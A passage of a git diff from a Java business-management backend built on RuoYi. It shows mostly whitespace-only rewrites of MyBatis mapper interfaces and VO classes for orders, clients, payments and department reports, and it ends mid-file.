com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - - -/** - * 微信日数据合集 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class WxDayListVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - private Long id; - - /** - * 编号 - */ - private String code; - - /** - * 用户ID - */ - private Long uid; - - /** - * 姓名 - */ - private String name; - - /** - * 集合 - */ - private List list; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + + +/** + * 微信日数据合集 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class WxDayListVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + private Long id; + + /** + * 编号 + */ + private String code; + + /** + * 用户ID + */ + private Long uid; + + /** + * 姓名 + */ + private String name; + + /** + * 集合 + */ + private List list; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxNumDayListVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxNumDayListVo.java index e0a83cb..e3ce4b5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxNumDayListVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxNumDayListVo.java @@ -1,44 +1,44 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 微信日数据合集 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class WxNumDayListVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 微信ID - */ - private Long wid; - - /** - * 日期 - */ - private String date; - - /** - * 人数 - */ - private String amount; - - /** - * 数量 - */ - private String num; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 微信日数据合集 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class WxNumDayListVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 微信ID + */ + private Long wid; + + /** + * 日期 + */ + private String date; + + /** + * 人数 + */ + private String amount; + + /** + * 数量 + */ + private String num; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpChangePriceMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpChangePriceMapper.java index 332393c..bb082de 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpChangePriceMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpChangePriceMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpChangePrice; -import org.dromara.work.domain.vo.TpChangePriceVo; - -/** - * 改价配置Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpChangePriceMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpChangePrice; +import org.dromara.work.domain.vo.TpChangePriceVo; + +/** + * 改价配置Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpChangePriceMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientFundMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientFundMapper.java new file mode 100644 index 0000000..9c65b46 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientFundMapper.java @@ -0,0 +1,15 @@ +package org.dromara.work.mapper; + +import org.dromara.work.domain.TpClientFund; +import org.dromara.work.domain.vo.TpClientFundVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 客户资金记录Mapper接口 + * + * @author Maosw + * @date 2026-01-16 + */ +public interface TpClientFundMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientMapper.java index f8e5d4a..c59c79e 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpClient; -import org.dromara.work.domain.vo.TpClientVo; - -/** - * 客户Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpClientMapper extends BaseMapperPlus,MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpClient; +import org.dromara.work.domain.vo.TpClientVo; + +/** + * 客户Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpClientMapper extends BaseMapperPlus,MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientStaffMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientStaffMapper.java index 385aaad..5605e3b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientStaffMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpClientStaffMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpClientStaff; -import org.dromara.work.domain.vo.TpClientStaffVo; - -/** - * 客户+客服Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpClientStaffMapper extends BaseMapperPlus,MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpClientStaff; +import org.dromara.work.domain.vo.TpClientStaffVo; + +/** + * 客户+客服Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpClientStaffMapper extends BaseMapperPlus,MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDeptCostMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDeptCostMapper.java new file mode 100644 index 0000000..4db73b2 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDeptCostMapper.java @@ -0,0 +1,15 @@ +package org.dromara.work.mapper; + +import org.dromara.work.domain.TpDeptCost; +import org.dromara.work.domain.vo.TpDeptCostVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 部门成本Mapper接口 + * + * @author Maosw + * @date 2025-11-20 + */ +public interface TpDeptCostMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDeptReportMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDeptReportMapper.java new file mode 100644 index 0000000..307be48 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDeptReportMapper.java @@ -0,0 +1,15 @@ +package org.dromara.work.mapper; + +import org.dromara.work.domain.TpDeptReport; +import org.dromara.work.domain.vo.TpDeptReportVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 部门业绩报Mapper接口 + * + * @author Maosw + * @date 2025-11-19 + */ +public interface TpDeptReportMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDesignQuotesMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDesignQuotesMapper.java index 2aa7abb..6dd9695 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDesignQuotesMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpDesignQuotesMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.work.domain.TpDesignQuotes; -import org.dromara.work.domain.vo.TpDesignQuotesVo; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; - -/** - * 报价Mapper接口 - * - * @author Maosw - * @date 2025-03-10 - */ -public interface TpDesignQuotesMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.work.domain.TpDesignQuotes; +import org.dromara.work.domain.vo.TpDesignQuotesVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 报价Mapper接口 + * + * @author Maosw + * @date 2025-03-10 + */ +public interface TpDesignQuotesMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFieldMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFieldMapper.java index 29cf39f..e9e81e5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFieldMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFieldMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpField; -import org.dromara.work.domain.vo.TpFieldVo; - -/** - * 字段管理Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpFieldMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpField; +import org.dromara.work.domain.vo.TpFieldVo; + +/** + * 字段管理Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpFieldMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFollowMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFollowMapper.java index 0401295..e239d51 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFollowMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpFollowMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.work.domain.TpFollow; -import org.dromara.work.domain.vo.TpFollowVo; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; - -/** - * 关注Mapper接口 - * - * @author Maosw - * @date 2025-07-23 - */ -public interface TpFollowMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.work.domain.TpFollow; +import org.dromara.work.domain.vo.TpFollowVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 关注Mapper接口 + * + * @author Maosw + * @date 2025-07-23 + */ +public interface TpFollowMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpIntegralDetailMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpIntegralDetailMapper.java index 1916e00..f1ad25b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpIntegralDetailMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpIntegralDetailMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpIntegralDetail; -import org.dromara.work.domain.vo.TpIntegralDetailVo; - -/** - * 积分明细Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpIntegralDetailMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpIntegralDetail; +import org.dromara.work.domain.vo.TpIntegralDetailVo; + +/** + * 积分明细Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpIntegralDetailMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpMonthMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpMonthMapper.java index afe8b86..f33e770 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpMonthMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpMonthMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpMonth; -import org.dromara.work.domain.vo.TpMonthVo; - -/** - * 月目标Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpMonthMapper extends BaseMapperPlus, MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpMonth; +import org.dromara.work.domain.vo.TpMonthVo; + +/** + * 月目标Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpMonthMapper extends BaseMapperPlus, MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderBigMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderBigMapper.java index c4a611e..9846df6 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderBigMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderBigMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpOrderBig; -import org.dromara.work.domain.vo.TpOrderBigVo; - -/** - * 订单大图Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderBigMapper extends BaseMapperPlus, MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpOrderBig; +import org.dromara.work.domain.vo.TpOrderBigVo; + +/** + * 订单大图Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderBigMapper extends BaseMapperPlus, MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCdMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCdMapper.java index 5442376..33f0577 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCdMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCdMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpOrderCd; -import org.dromara.work.domain.vo.TpOrderCdVo; - -/** - * 拆单记录Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderCdMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpOrderCd; +import org.dromara.work.domain.vo.TpOrderCdVo; + +/** + * 拆单记录Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderCdMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCommentMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCommentMapper.java index e5396ad..764894c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCommentMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderCommentMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpOrderComment; -import org.dromara.work.domain.vo.TpOrderCommentVo; - -/** - * 订单评论Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderCommentMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpOrderComment; +import org.dromara.work.domain.vo.TpOrderCommentVo; + +/** + * 订单评论Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderCommentMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderMapper.java index 8691860..88a26ff 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderMapper.java @@ -1,42 +1,42 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.vo.*; - -import java.util.List; - -/** - * 订单管理Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderMapper extends BaseMapperPlus,MPJBaseMapper { - - List selectListBySpace(); - - List deptRankingList(@Param("bo") SysDeptBo bo); - - List deptRankingJSList(@Param("bo") SysDeptBo bo); - - List kfDayList(@Param("bo") OrderRankingBo bo, @Param("userIds") List userIds); - - List ftDayList(@Param("bo") OrderRankingBo bo, @Param("userIds") List userIds); - - List jsDayList(@Param("bo") OrderRankingBo bo, @Param("userIds") List userIds); - - List monthArrivedPer(@Param("month") String month, @Param("deptIds") List deptIds); - - List yearArrivedPer(@Param("year") String year, @Param("deptIds") List deptIds); - - List monthOrderType(@Param("month") String month, @Param("deptIds") List deptIds); - - List monthOrderSpace(@Param("month") String month, @Param("deptIds") List deptIds); - - List monthOrderStyle(@Param("month") String month, @Param("deptIds") List deptIds); -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.vo.*; + +import java.util.List; + +/** + * 订单管理Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderMapper extends BaseMapperPlus,MPJBaseMapper { + + List selectListBySpace(); + + List deptRankingList(@Param("bo") SysDeptBo bo); + + List deptRankingJSList(@Param("bo") SysDeptBo bo); + + List kfDayList(@Param("bo") OrderRankingBo bo, @Param("userIds") List userIds); + + List ftDayList(@Param("bo") OrderRankingBo bo, @Param("userIds") List userIds); + + List jsDayList(@Param("bo") OrderRankingBo bo, @Param("userIds") List userIds); + + List monthArrivedPer(@Param("month") String month, @Param("deptIds") List deptIds); + + List yearArrivedPer(@Param("year") String year, @Param("deptIds") List deptIds); + + List monthOrderType(@Param("month") String month, @Param("deptIds") List deptIds); + + List monthOrderSpace(@Param("month") String month, @Param("deptIds") List deptIds); + + List monthOrderStyle(@Param("month") String month, @Param("deptIds") List deptIds); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderModelMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderModelMapper.java index 1319793..526e147 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderModelMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderModelMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpOrderModel; -import org.dromara.work.domain.vo.TpOrderModelVo; - -/** - * 订单模型Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderModelMapper extends BaseMapperPlus, MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpOrderModel; +import org.dromara.work.domain.vo.TpOrderModelVo; + +/** + * 订单模型Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderModelMapper extends BaseMapperPlus, MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderPayMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderPayMapper.java index 73b2af0..d71aae4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderPayMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderPayMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpOrderPay; -import org.dromara.work.domain.vo.TpOrderPayVo; - -/** - * 订单支付记录Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderPayMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpOrderPay; +import org.dromara.work.domain.vo.TpOrderPayVo; + +/** + * 订单支付记录Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderPayMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderRecordMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderRecordMapper.java index 9fff7e0..a46897e 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderRecordMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderRecordMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpOrderRecord; -import org.dromara.work.domain.vo.TpOrderRecordVo; - -/** - * 操作历史Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderRecordMapper extends BaseMapperPlus, MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpOrderRecord; +import org.dromara.work.domain.vo.TpOrderRecordVo; + +/** + * 操作历史Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderRecordMapper extends BaseMapperPlus, MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderSmallMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderSmallMapper.java index 45fce12..1d118ff 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderSmallMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpOrderSmallMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpOrderSmall; -import org.dromara.work.domain.vo.TpOrderSmallVo; - -/** - * 订单小图Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpOrderSmallMapper extends BaseMapperPlus, MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpOrderSmall; +import org.dromara.work.domain.vo.TpOrderSmallVo; + +/** + * 订单小图Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpOrderSmallMapper extends BaseMapperPlus, MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpPanoramaMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpPanoramaMapper.java index 1561a1a..25c590f 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpPanoramaMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpPanoramaMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.work.domain.TpPanorama; -import org.dromara.work.domain.vo.TpPanoramaVo; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; - -/** - * 全景Mapper接口 - * - * @author Maosw - * @date 2025-03-26 - */ -public interface TpPanoramaMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.work.domain.TpPanorama; +import org.dromara.work.domain.vo.TpPanoramaVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 全景Mapper接口 + * + * @author Maosw + * @date 2025-03-26 + */ +public interface TpPanoramaMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpProdMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpProdMapper.java index 8e4a8f3..6c4a621 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpProdMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpProdMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpProd; -import org.dromara.work.domain.vo.TpProdVo; - -/** - * 商品Mapper接口 - * - * @author Maosw - * @date 2025-03-15 - */ -public interface TpProdMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpProd; +import org.dromara.work.domain.vo.TpProdVo; + +/** + * 商品Mapper接口 + * + * @author Maosw + * @date 2025-03-15 + */ +public interface TpProdMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpReceiptMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpReceiptMapper.java index 0343fb7..e28f656 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpReceiptMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpReceiptMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpReceipt; -import org.dromara.work.domain.vo.TpReceiptVo; - -/** - * 收款管理Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpReceiptMapper extends BaseMapperPlus,MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpReceipt; +import org.dromara.work.domain.vo.TpReceiptVo; + +/** + * 收款管理Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpReceiptMapper extends BaseMapperPlus,MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpRemittanceMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpRemittanceMapper.java index b6245aa..48ee70a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpRemittanceMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpRemittanceMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpRemittance; -import org.dromara.work.domain.vo.TpRemittanceVo; - -/** - * 汇款Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpRemittanceMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import 